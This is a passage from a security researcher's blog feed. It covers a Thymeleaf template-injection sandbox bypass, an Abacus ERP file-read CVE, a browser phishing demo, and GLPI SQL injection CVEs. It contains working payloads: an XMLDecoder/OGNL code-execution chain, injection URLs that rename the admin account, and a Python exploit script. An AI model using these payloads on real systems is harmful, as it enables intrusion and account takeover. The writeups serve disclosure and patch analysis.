    <span class="nt">&lt;object</span> <span class="na">class=</span><span class="s">"java.lang.Runtime"</span> <span class="na">method=</span><span class="s">"getRuntime"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;void</span> <span class="na">method=</span><span class="s">"exec"</span><span class="nt">&gt;</span>
            <span class="nt">&lt;array</span> <span class="na">class=</span><span class="s">"java.lang.String"</span> <span class="na">length=</span><span class="s">"3"</span><span class="nt">&gt;</span>
                <span class="nt">&lt;void</span> <span class="na">index=</span><span class="s">"0"</span><span class="nt">&gt;</span>
                    <span class="nt">&lt;string&gt;</span>bash<span class="nt">&lt;/string&gt;</span>
                <span class="nt">&lt;/void&gt;</span>
                <span class="nt">&lt;void</span> <span class="na">index=</span><span class="s">"1"</span><span class="nt">&gt;</span>
                    <span class="nt">&lt;string&gt;</span>-c<span class="nt">&lt;/string&gt;</span>
                <span class="nt">&lt;/void&gt;</span>
                <span class="nt">&lt;void</span> <span class="na">index=</span><span class="s">"2"</span><span class="nt">&gt;</span>
                    <span class="nt">&lt;string&gt;</span>mkdir /pwn<span class="nt">&lt;/string&gt;</span>
                <span class="nt">&lt;/void&gt;</span>
            <span class="nt">&lt;/array&gt;</span>
        <span class="nt">&lt;/void&gt;</span>
    <span class="nt">&lt;/object&gt;</span>
<span class="nt">&lt;/java&gt;</span>
</code></pre></div></div>

<p>We will need to URL-encode it.</p>

<p>And then, finally:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">${</span><span class="p">
    T(ognl.Ognl).getValue(
        </span><span class="s1">'#xml = new java.beans.XMLDecoder(new java.io.ByteArrayInputStream('</span><span class="p"> +
        #ctx.getVariable(</span><span class="s1">'org.springframework.web.context.request.async.WebAsyncManager.WEB_ASYNC_MANAGER'</span><span class="p">).getAsyncWebRequest().getNativeRequest().getParameter(</span><span class="s1">'payload'</span><span class="p">) +
        </span><span class="s1">'.getBytes())),#xml.readObject()'</span><span class="p">,
    null)
</span><span class="k">}</span>
</code></pre></div></div>

<p><img style="margin-left:auto;margin-right:auto;display:block;" alt="OGNl exploit" src="/assets/res/stuff/thymeleaf_ssti/pwn_ognl.png" /></p>

<p><a name="no-rce"></a></p>
<h2 id="no-rce-">No RCE ?</h2>

<p>It is really frustrating, but sometimes, SSTI might not lead to RCE directly or indirectly thanks to reflection as we did. Still, should it happens, other ways are worth being explored, such as:</p>
<ul>
  <li>trigger an unsafe deserialisation. For instance, the class <code class="language-plaintext highlighter-rouge">org.springframework.core.serializer.DefaultDeserializer</code> does not belong to the deny list, and could be invoked in this way:</li>
</ul>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">${</span><span class="p">
    new org.springframework.core.serializer.DefaultDeserializer().deserialize(
        new org.springframework.core.io.ByteArrayResource(
            T(org.yaml.snakeyaml.external.biz.base64Coder.Base64Coder).decode(</span><span class="s1">'rO0ABXNyA...'</span><span class="p">)
        ).getInputStream()
    )
</span><span class="k">}</span>
</code></pre></div></div>
<ul>
  <li>if JSP files can be interpreted, try to write one somewhere. There are numerous ways, depending on the available libraries. Here are two examples:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">ch.qos.logback.core.util.FileUtil-&gt;copy(String src, String destination)</code> to copy a file to another place (e.g. an uploaded one to a location where JSP are stored)</li>
      <li><code class="language-plaintext highlighter-rouge">org.apache.commons.io.FileUtils-&gt;writeXXXX</code> functions</li>
    </ul>
  </li>
  <li>Additionally, there are multiple ways to read files stored on the local disk, containing juicy information</li>
  <li>if the application communicates with a database, and if the DBMS allows it, maybe try to execute command within an SQL query</li>
  <li>the package <code class="language-plaintext highlighter-rouge">org.springframework.scripting.*</code> is allowed. If engines are available, they might be a convenient way to get RCE</li>
</ul>

<h2 id="recommendations">Recommendations</h2>

<p>Of course, should an SSTI occur, it would be because of an improper user input handling, and a misuse of Thymeleaf. To better protect Spring applications, it is paramount to filter input and escape output. Information submitted by users should not be blindly reflected, <strong>especially in dangerous contexts</strong>.</p>

<p>On Thymeleaf’s side, it would be worth considering the facts that <code class="language-plaintext highlighter-rouge">MethodInvokingRunnable</code>  should belong to the denylist, and <code class="language-plaintext highlighter-rouge">#ctx</code> less powerful. Still, a denylist approach would always be less effective that an allowlist. Denying all potentially dangerous third-party libraries of the world would be vain, for sure. Although one could consider that it is entirely up to the developers to properly use Thymeleaf, I already saw applications were adding new templates was a legitimate feature. It sounds like an SSTI-as-a-service, and therefore, if done on purpose, the sandboxing process is important and should be as strong as possible.</p>]]></content><author><name></name></author><category term="stuff" /><summary type="html"><![CDATA[Abstract The Thymeleaf release version 3.0.12 came with improvements in its sandboxed evaluation process, by restricting objects creations and static function calls to be made from within the template. However, there is a specific attribute named with (see chapter 9. Local Variables) that still allows it. Although some restrictions are in place, I found a first way to bypass the controls of this semi-hardened context and obtain a command execution.]]></summary></entry><entry><title type="html">CVE-2025-0001</title><link href="/stuff/2025/02/15/CVE-2025-0001.html" rel="alternate" type="text/html" title="CVE-2025-0001" /><published>2025-02-15T00:00:00+00:00</published><updated>2025-02-15T00:00:00+00:00</updated><id>/stuff/2025/02/15/CVE-2025-0001</id><content type="html" xml:base="/stuff/2025/02/15/CVE-2025-0001.html"><![CDATA[<blockquote>
  <p>Abacus ERP is versions older than 2024.210.16036, 2023.205.15833, and 2022.105.15542 are affected by an authenticated arbitrary file read vulnerability. The latter makes a malicious user able to recover the JWT signing key by carefully crafting a malicious URL, and then forge arbitrary tokens to authenticate against the API as anyone else.</p>
</blockquote>

<p>This vulnerability was discovered during a white-box audit, unveiling a flawed API route leading to an arbitrary file read, because of a user-controlled absolute path. By knowing the file path, an attacker could extract the JWT signing key, and forge authorisation tokens. It is worth noting that other elements must be known to make the attack successful.</p>

<p>Thanks to Nicolas who performed this test with me, and to the Abacus team for their cooperation !</p>

<p>Patched versions:</p>
<ul>
  <li>&gt;= 2024.210.16036</li>
  <li>&gt;= 2023.205.15833</li>
  <li>&gt;= 2022.205.15542</li>
</ul>

<p>- testdeurdestylos</p>]]></content><author><name></name></author><category term="stuff" /><summary type="html"><![CDATA[Abacus ERP is versions older than 2024.210.16036, 2023.205.15833, and 2022.105.15542 are affected by an authenticated arbitrary file read vulnerability. The latter makes a malicious user able to recover the JWT signing key by carefully crafting a malicious URL, and then forge arbitrary tokens to authenticate against the API as anyone else.]]></summary></entry><entry><title type="html">VPN-in-the-browser</title><link href="/stuff/2025/01/22/vitb.html" rel="alternate" type="text/html" title="VPN-in-the-browser" /><published>2025-01-22T00:00:00+00:00</published><updated>2025-01-22T00:00:00+00:00</updated><id>/stuff/2025/01/22/vitb</id><content type="html" xml:base="/stuff/2025/01/22/vitb.html"><![CDATA[<p>It is a rainy Monday morning, and John is working from home, in his cozy apartment. He activated his VPN to access his business files, and everything is going well. Ding ! It’s a new email !</p>

<p>Unknown sender, but he opens it carefully. There is a link inside, but the URL seems to be legit, and curiosity makes him click on it. He lands on a really interesting website with cybersecurity news, and starts reading. But all of a sudden, his VPN goes down, and he needs to reconnect to not lose his work.</p>

<p>But in reality, the VPN connection is perfectly fine, and he just fell for a variant of the Browser-in-the-Browser attack. This time, the fake window does not simulate a new browser instance, it masquerades as another programme. In reality, everything happens within the web page, but that’s too late …</p>

<p><img src="/assets/res/stuff/vitb.gif" alt="vitb.gif" /></p>]]></content><author><name></name></author><category term="stuff" /><summary type="html"><![CDATA[It is a rainy Monday morning, and John is working from home, in his cozy apartment. He activated his VPN to access his business files, and everything is going well. Ding ! It’s a new email !]]></summary></entry><entry><title type="html">Exploiting CVE-2024-37148</title><link href="/stuff/2024/06/07/exploit-CVE-2024-37148.html" rel="alternate" type="text/html" title="Exploiting CVE-2024-37148" /><published>2024-06-07T00:00:00+00:00</published><updated>2024-06-07T00:00:00+00:00</updated><id>/stuff/2024/06/07/exploit-CVE-2024-37148</id><content type="html" xml:base="/stuff/2024/06/07/exploit-CVE-2024-37148.html"><![CDATA[<h2 id="intro">Intro</h2>
<p>When it comes to input sanitisation, who is responsible, the function or the caller ? Or both ? And if no one does, hoping that the other one will do the job, who is to blame ? As CVE-2024-29889 <a href="https://github.com/glpi-project/glpi/commit/0a6b28be4c0f848106c60b554c703ec2e178d6c7">was patched</a>, I took a look at the commit. I saw that the inputs were escaped thanks to <code class="language-plaintext highlighter-rouge">Sanitizer::sanitize</code> before calling <code class="language-plaintext highlighter-rouge">exportArrayToDb</code>, being a wrapper for <code class="language-plaintext highlighter-rouge">json_encode</code>:</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Patch for CVE-2024-29889" src="/assets/res/stuff/CVE-2024-37148/patch.png" /></p>

<p>I then guessed that if there were other calls to <code class="language-plaintext highlighter-rouge">exportArrayToDb</code> without a sanitisation process, it could still lead to an injection.</p>

<h2 id="first-injection">First injection</h2>
<p>Looking for the pattern <code class="language-plaintext highlighter-rouge">=&gt; exportArrayToDB</code> in the source code, returned a hit in <code class="language-plaintext highlighter-rouge">SavedSearch::saveOrder</code>.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">function</span> <span class="n">saveOrder</span><span class="p">(</span><span class="kt">array</span> <span class="nv">$items</span><span class="p">){</span>
    <span class="k">if</span> <span class="p">(</span><span class="nb">count</span><span class="p">(</span><span class="nv">$items</span><span class="p">))</span> <span class="p">{</span>
        <span class="nv">$user</span>               <span class="o">=</span> <span class="k">new</span> <span class="nc">User</span><span class="p">();</span>
        <span class="nv">$personalorderfield</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="nf">getPersonalOrderField</span><span class="p">();</span>

        <span class="nv">$user</span><span class="o">-&gt;</span><span class="nf">update</span><span class="p">([</span><span class="s1">'id'</span>      <span class="o">=&gt;</span> <span class="nc">Session</span><span class="o">::</span><span class="nf">getLoginUserID</span><span class="p">(),</span>
            <span class="nv">$personalorderfield</span>  <span class="o">=&gt;</span> <span class="nf">exportArrayToDB</span><span class="p">(</span><span class="nv">$items</span><span class="p">)</span>
        <span class="p">]);</span>
        <span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This routine can be called from an AJAX request (<code class="language-plaintext highlighter-rouge">ajax/savedsearch.php</code>):</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="nv">$action</span> <span class="o">==</span> <span class="s1">'reorder'</span><span class="p">)</span> <span class="p">{</span>
    <span class="nv">$savedsearch</span><span class="o">-&gt;</span><span class="nf">saveOrder</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'ids'</span><span class="p">]);</span>
    <span class="nb">header</span><span class="p">(</span><span class="s2">"Content-Type: application/json; charset=UTF-8"</span><span class="p">);</span>
    <span class="k">echo</span> <span class="nb">json_encode</span><span class="p">([</span><span class="s1">'res'</span> <span class="o">=&gt;</span> <span class="kc">true</span><span class="p">]);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>One can notice that <code class="language-plaintext highlighter-rouge">$_POST['ids']</code> is supposed to be an array (supposedly containing integers, but without validity check). If <code class="language-plaintext highlighter-rouge">$items</code> (the argument passed to <code class="language-plaintext highlighter-rouge">saveOrder</code>) is indeed an array, it is passed to <code class="language-plaintext highlighter-rouge">exportArrayToDB</code>.</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="CVE-2024-37148 - Injection 1" src="/assets/res/stuff/CVE-2024-37148/injection1.png" /></p>

<p>The resulting SQL query is as follows:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">UPDATE</span> <span class="nv">`glpi_users`</span> <span class="k">SET</span> <span class="nv">`privatebookmarkorder`</span> <span class="o">=</span> <span class="s1">'["</span><span class="se">\\</span><span class="s1">'</span><span class="p">,</span><span class="nv">`name`</span><span class="o">=</span><span class="nb">char</span><span class="p">(</span><span class="mi">0</span><span class="n">x70</span><span class="p">,</span><span class="mi">0</span><span class="n">x77</span><span class="p">,</span><span class="mi">0</span><span class="n">x6e</span><span class="p">)</span> <span class="k">where</span> <span class="nv">`id`</span><span class="o">=</span><span class="mi">2</span> <span class="c1">-- -"]' WHERE `id` = '3'</span>

<span class="c1">-- or</span>

<span class="k">UPDATE</span> <span class="nv">`glpi_users`</span> <span class="k">SET</span> <span class="nv">`privatebookmarkorder`</span> <span class="o">=</span> <span class="s1">'["</span><span class="se">\\</span><span class="s1">'</span><span class="p">,</span><span class="nv">`name`</span><span class="o">=</span><span class="nb">char</span><span class="p">(</span><span class="mi">0</span><span class="n">x70</span><span class="p">,</span><span class="mi">0</span><span class="n">x77</span><span class="p">,</span><span class="mi">0</span><span class="n">x6e</span><span class="p">)</span> <span class="k">where</span> <span class="nv">`id`</span><span class="o">=</span><span class="mi">2</span>
</code></pre></div></div>

<p>It updates that username of the administrator, turning it into <em>‘pwn’</em>. Therefore, it could lead to an account takeover, by modifying the user’s password hash, or their password reset token.</p>

<p>But why does this happen ? Because when the application receives an input, it first tries to escape everything it can in <code class="language-plaintext highlighter-rouge">$_GET</code> or <code class="language-plaintext highlighter-rouge">$_POST</code> (in <code class="language-plaintext highlighter-rouge">inc/includes.php</code>), which means that a first backslash will be put before single quotes in any input. However, when passing the value through <code class="language-plaintext highlighter-rouge">json_encode</code>, the latter will escape the backslash, <em><strong>but not</strong></em> the single quote:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>php <span class="o">&gt;</span> <span class="nb">echo </span>json_encode<span class="o">([</span><span class="s2">"</span><span class="se">\'</span><span class="s2">"</span><span class="o">])</span><span class="p">;</span>
<span class="o">[</span><span class="s2">"</span><span class="se">\\</span><span class="s2">'"</span><span class="o">]</span>
</code></pre></div></div>

<p>Therefore, the single quote will be unescaped, hence possibly leading to an injection. In other words, calls to <code class="language-plaintext highlighter-rouge">exportArrayToDb</code> (and therefore <code class="language-plaintext highlighter-rouge">json_encode</code>) would cancel the effects of the first escaping process.</p>

<h2 id="second-injection">Second injection</h2>
<p>Another similar injection point was found in <code class="language-plaintext highlighter-rouge">CommonGLPI::updateDisplayOptions</code>. This routine can be called from <code class="language-plaintext highlighter-rouge">front/display.options.php</code>.</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="CVE-2024-37148 - Injection 2 - front" src="/assets/res/stuff/CVE-2024-37148/front-display.png" /></p>

<p>At this moment, I knew that I would need to have a valid <code class="language-plaintext highlighter-rouge">$_GET['itemtype']</code>, probably <code class="language-plaintext highlighter-rouge">$_GET['sub_itemtype']</code>, and also either <code class="language-plaintext highlighter-rouge">$_GET['update']</code> or <code class="language-plaintext highlighter-rouge">$_GET['reset']</code>, to reach this call to <code class="language-plaintext highlighter-rouge">CommonGLPI::updateDisplayOptions</code>.</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="CVE-2024-37148 - Injection 2 - back" src="/assets/res/stuff/CVE-2024-37148/injection2.png" /></p>

<p>At line 1’285, a first call is made to <code class="language-plaintext highlighter-rouge">getAvailableDisplayOptions</code>. This routine is declared only in the class <code class="language-plaintext highlighter-rouge">NetworkPort</code>, which means that the calling object must be an instance of this class, thus giving us the expected value for <code class="language-plaintext highlighter-rouge">$_GET['itemtype']</code>.</p>

<p>At line 1’290, the magic happens: the array <code class="language-plaintext highlighter-rouge">$display_options</code> is created from <code class="language-plaintext highlighter-rouge">$_SESSION['glpi_display_options']</code>, but the assignment is made with the ampersand operator. It means that <code class="language-plaintext highlighter-rouge">$display_options</code> becomes a reference to the item having the key <code class="language-plaintext highlighter-rouge">$sub_itemtype</code>, creating it if non-existent. In other words, it means that we are able here to create an item having an arbitary name as a key.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>php <span class="o">&gt;</span> <span class="nv">$options</span> <span class="o">=</span> <span class="o">[</span><span class="s1">'a'</span> <span class="o">=&gt;</span> <span class="s1">'A'</span>, <span class="s1">'b'</span> <span class="o">=&gt;</span> <span class="s1">'B'</span><span class="o">]</span><span class="p">;</span>
php <span class="o">&gt;</span> <span class="nv">$x</span><span class="o">=</span> &amp;<span class="nv">$options</span><span class="o">[</span><span class="s1">'c'</span><span class="o">]</span><span class="p">;</span>
php <span class="o">&gt;</span> var_dump<span class="o">(</span><span class="nv">$options</span><span class="o">)</span><span class="p">;</span>
array<span class="o">(</span>3<span class="o">)</span> <span class="o">{</span>
  <span class="o">[</span><span class="s2">"a"</span><span class="o">]=&gt;</span>
  string<span class="o">(</span>1<span class="o">)</span> <span class="s2">"A"</span>
  <span class="o">[</span><span class="s2">"b"</span><span class="o">]=&gt;</span>
  string<span class="o">(</span>1<span class="o">)</span> <span class="s2">"B"</span>
  <span class="o">[</span><span class="s2">"c"</span><span class="o">]=&gt;</span>
  &amp;NULL
<span class="o">}</span>
</code></pre></div></div>

<p>Finally, once the <code class="language-plaintext highlighter-rouge">foreach</code> loops have been executed, the routine <code class="language-plaintext highlighter-rouge">exportArrayToDB</code> is called, passing the variable <code class="language-plaintext highlighter-rouge">$_SESSION['glpi_display_options']</code> as argument. The injected key would therefore be passed to <code class="language-plaintext highlighter-rouge">exportArrayToDB</code> without sanitisation, leading to another SQL injection. As a PoC, I used the following query:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://172.16.103.130/front/display.options.php?itemtype=NetworkPort&amp;update=&amp;sub_itemtype=%27,name=char(0x70,0x77,0x6e)%20where%20`id`=2%20--%20-
</code></pre></div></div>

<p>Arguments are therefore:</p>

<ul>
  <li>itemtype: <code class="language-plaintext highlighter-rouge">NetworkPort</code></li>
  <li>update: empty</li>
  <li>sub_item: <code class="language-plaintext highlighter-rouge">',name=char(0x70,0x77,0x6e) where `id`=2 -- -</code></li>
</ul>

<p>Visiting this link would then modify the username of the <code class="language-plaintext highlighter-rouge">glpi</code> user ! Although the GUI returns a warning message telling us that the action is not allowed, the update is performed.</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="CVE-2024-37148 - Error" src="/assets/res/stuff/CVE-2024-37148/error.png" /></p>

<p>These issues have been patched in GLPI version 10.0.16.</p>]]></content><author><name></name></author><category term="stuff" /><summary type="html"><![CDATA[Intro When it comes to input sanitisation, who is responsible, the function or the caller ? Or both ? And if no one does, hoping that the other one will do the job, who is to blame ? As CVE-2024-29889 was patched, I took a look at the commit. I saw that the inputs were escaped thanks to Sanitizer::sanitize before calling exportArrayToDb, being a wrapper for json_encode:]]></summary></entry><entry><title type="html">Exploiting CVE-2024-29889 and CVE-2024-31456</title><link href="/stuff/2024/05/09/exploit-CVE-2024-29889-31456.html" rel="alternate" type="text/html" title="Exploiting CVE-2024-29889 and CVE-2024-31456" /><published>2024-05-09T00:00:00+00:00</published><updated>2024-05-09T00:00:00+00:00</updated><id>/stuff/2024/05/09/exploit-CVE-2024-29889-31456</id><content type="html" xml:base="/stuff/2024/05/09/exploit-CVE-2024-29889-31456.html"><![CDATA[<h2 id="intro">Intro</h2>
<p>After being tasked with auditing GLPI 10.0.12, for which I uncovered two unknown vulnerabilities (CVE-2024-27930 and CVE-2024-27937), I became really interested in this solution, and decided to investigate further. As the version 10.0.13 and 10.0.14 were published, I took a close look at the patches, and analysed how efficient they were to tackle the reported vulnerabilities. I discovered that CVE-2024-27096, was insufficiently patched, and that an SQL injection was still possible (CVE-2024-31456). I reported it to the vendor, and as the subsequent release was published (10.0.15), it appeared that it patched another SQL injection (CVE-2024-29889).</p>

<p>This article then describes how I uncovered CVE-2024-31456 and how to exploit CVE-2024-29889, the one I missed.</p>

<h2 id="abusing-cve-2024-31456">Abusing CVE-2024-31456</h2>
<p>As discussed in one of my <a href="https://borelenzo.github.io/stuff/2024/03/24/exploit-CVE-2024-27096.html">previous articles</a>, the SQLi referred to as CVE-2024-27096 was patched as follows, in the routine <code class="language-plaintext highlighter-rouge">Search::manageParams</code>:</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Patch for CVE-2024-27096" src="/assets/res/stuff/CVE-2024-27096/glpi_patch.png" /></p>

<p>This routine was called from <code class="language-plaintext highlighter-rouge">/ajax/search.php</code>, before calling <code class="language-plaintext highlighter-rouge">Search::getDatas</code>:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$search_params</span> <span class="o">=</span> <span class="nc">Search</span><span class="o">::</span><span class="nf">manageParams</span><span class="p">(</span><span class="nv">$itemtype</span><span class="p">,</span> <span class="nv">$_REQUEST</span><span class="p">);</span>

<span class="k">if</span> <span class="p">(</span><span class="k">isset</span><span class="p">(</span><span class="nv">$search_params</span><span class="p">[</span><span class="s1">'browse'</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nv">$search_params</span><span class="p">[</span><span class="s1">'browse'</span><span class="p">]</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
    <span class="nv">$itemtype</span><span class="o">::</span><span class="nf">showBrowseView</span><span class="p">(</span><span class="nv">$itemtype</span><span class="p">,</span> <span class="nv">$search_params</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="nv">$results</span> <span class="o">=</span> <span class="nc">Search</span><span class="o">::</span><span class="nf">getDatas</span><span class="p">(</span><span class="nv">$itemtype</span><span class="p">,</span> <span class="nv">$search_params</span><span class="p">);</span>
    <span class="nv">$results</span><span class="p">[</span><span class="s1">'searchform_id'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$_REQUEST</span><span class="p">[</span><span class="s1">'searchform_id'</span><span class="p">]</span> <span class="o">??</span> <span class="kc">null</span><span class="p">;</span>
    <span class="nc">Search</span><span class="o">::</span><span class="nf">displayData</span><span class="p">(</span><span class="nv">$results</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This routine is as follows:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">static</span> <span class="k">function</span> <span class="n">getDatas</span><span class="p">(</span><span class="nv">$itemtype</span><span class="p">,</span> <span class="nv">$params</span><span class="p">,</span> <span class="kt">array</span> <span class="nv">$forcedisplay</span> <span class="o">=</span> <span class="p">[])</span>
<span class="p">{</span>

    <span class="nv">$data</span> <span class="o">=</span> <span class="k">self</span><span class="o">::</span><span class="nf">prepareDatasForSearch</span><span class="p">(</span><span class="nv">$itemtype</span><span class="p">,</span> <span class="nv">$params</span><span class="p">,</span> <span class="nv">$forcedisplay</span><span class="p">);</span>
    <span class="k">self</span><span class="o">::</span><span class="nf">constructSQL</span><span class="p">(</span><span class="nv">$data</span><span class="p">);</span>
    <span class="k">self</span><span class="o">::</span><span class="nf">constructData</span><span class="p">(</span><span class="nv">$data</span><span class="p">);</span>

    <span class="k">return</span> <span class="nv">$data</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The idea was therefore to check if the routine <code class="language-plaintext highlighter-rouge">Search::prepareDatasForSearch</code> could be called without passing through <code class="language-plaintext highlighter-rouge">manageParams</code> beforehand. If so, and if user-controlled data were involved, it could be a way to bypass the patch.</p>

<p>It appeared that such situation exists, in the file <code class="language-plaintext highlighter-rouge">/ajax/map.php</code>. The three routines <code class="language-plaintext highlighter-rouge">prepareDatasForSearch</code>, <code class="language-plaintext highlighter-rouge">constructSQL</code> and <code class="language-plaintext highlighter-rouge">constructData</code> are called without calling <code class="language-plaintext highlighter-rouge">manageParams</code>.</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Refs to prepareDatasForSearch" src="/assets/res/stuff/CVE-2024-29889-31456/refs_preparedatasforsearch.png" /></p>

<p>Code of <code class="language-plaintext highlighter-rouge">/ajax/map.php</code>:</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Code of map.php" src="/assets/res/stuff/CVE-2024-29889-31456/weak_call.png" /></p>

<p>One can therefore exploit it in the same way as CVE-2024-27096:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">sys</span>

<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">3</span><span class="p">:</span>
	<span class="k">print</span><span class="p">(</span><span class="s">"Usage: %s &lt;url&gt; &lt;cookie&gt;"</span> <span class="o">%</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>

<span class="n">url</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">cookie</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span>
<span class="n">content</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span> <span class="o">+</span><span class="s">"/front/preference.php"</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="s">"Cookie"</span><span class="p">:</span> <span class="n">cookie</span><span class="p">}).</span><span class="n">text</span>
<span class="n">csrf</span> <span class="o">=</span> <span class="n">content</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="s">"glpi:csrf_token"</span><span class="p">)</span>
<span class="n">csrf</span> <span class="o">=</span> <span class="n">content</span><span class="p">[</span><span class="n">csrf</span><span class="o">+</span><span class="mi">26</span><span class="p">:</span><span class="n">csrf</span><span class="o">+</span><span class="mi">90</span><span class="p">]</span>
<span class="n">sqli_result</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span> <span class="o">+</span><span class="s">"/ajax/map.php"</span><span class="p">,</span> <span class="n">headers</span> <span class="o">=</span> <span class="p">{</span><span class="s">"Cookie"</span><span class="p">:</span><span class="n">cookie</span><span class="p">,</span> <span class="s">"X-Glpi-Csrf-Token"</span><span class="p">:</span><span class="n">csrf</span><span class="p">,</span> <span class="s">"Content-Type"</span><span class="p">:</span><span class="s">"application/x-www-form-urlencoded"</span><span class="p">},</span> <span class="n">data</span><span class="o">=</span><span class="p">{</span><span class="s">"itemtype"</span><span class="p">:</span><span class="s">"User"</span><span class="p">,</span> <span class="s">"params[sort][]"</span><span class="p">:</span><span class="s">"1`,extractvalue(rand(),concat(CHAR(126),database())) -- -"</span><span class="p">}).</span><span class="n">text</span>
<span class="k">print</span><span class="p">(</span><span class="n">sqli_result</span><span class="p">)</span>
</code></pre></div></div>

<p>I reported this issue to the vendor and it was assigned the identifier CVE-2024-31456.</p>

<h2 id="abusing-cve-2024-29889">Abusing CVE-2024-29889</h2>

<p>Description:</p>
<blockquote>
  <p>An authenticated user can exploit a SQL injection vulnerability in the saved searches feature to alter another user account data and take control of it.</p>
</blockquote>

<p>Honestly, I analysed the saved searches features, but I miss this clever SQL injection. As it was published, I took a look at the patch, and tried to understand what was going wrong. The <a href="https://github.com/glpi-project/glpi/commit/0a6b28be4c0f848106c60b554c703ec2e178d6c7">patch</a> was as follows (partial):</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Code of map.php" src="/assets/res/stuff/CVE-2024-29889-31456/patch_2024_29889.png" /></p>

<p>I knew that an SQL injection was uncovered in a previous version, affecting the same feature (CVE-2023-43813), and I guessed it probably was due to an incomplete patch. As explained in the article <a href="https://blog.quarkslab.com/exploiting-glpi-during-a-red-team-engagement.html">Exploiting GLPI during a Red Team engagement</a>, one could exploit CVE-2023-43813 by injecting the POST’ed parameter <code class="language-plaintext highlighter-rouge">itemtype</code> that was insufficiently sanitised, with a payload like:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>IVOIRE', savedsearches_pinned=CHAR(123,34,84,105,99,107,101,116,34,58,49,125) -- -;
</code></pre></div></div>

<p>They could break outside the original query and inject their own. However, in version 10.0.14, such attack does not work anymore.</p>

<h3 id="first-steps">First steps</h3>

<p>To begin with, I added a few lines in the PHP code to log the SQL queries being executed, and triggered the faulty feature, in <code class="language-plaintext highlighter-rouge">ajax/pin_savedsearches.php</code>.</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="inned searches interfaces" src="/assets/res/stuff/CVE-2024-29889-31456/pin1.png" /></p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Pinned searches request" src="/assets/res/stuff/CVE-2024-29889-31456/pin2.png" /></p>

<p>A request containing the parameter <code class="language-plaintext highlighter-rouge">itemtype=Ticket</code> was sent, because it was about a search related to the created tickets. The SQL query executed behind the curtain was as follows:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">UPDATE</span> <span class="nv">`glpi_users`</span> <span class="k">SET</span> <span class="nv">`savedsearches_pinned`</span> <span class="o">=</span> <span class="s1">'{"Ticket":1}'</span><span class="p">,</span> <span class="nv">`date_mod`</span> <span class="o">=</span> <span class="s1">'2024-05-09 08:43:21'</span> <span class="k">WHERE</span> <span class="nv">`id`</span> <span class="o">=</span> <span class="s1">'3'</span>
</code></pre></div></div>

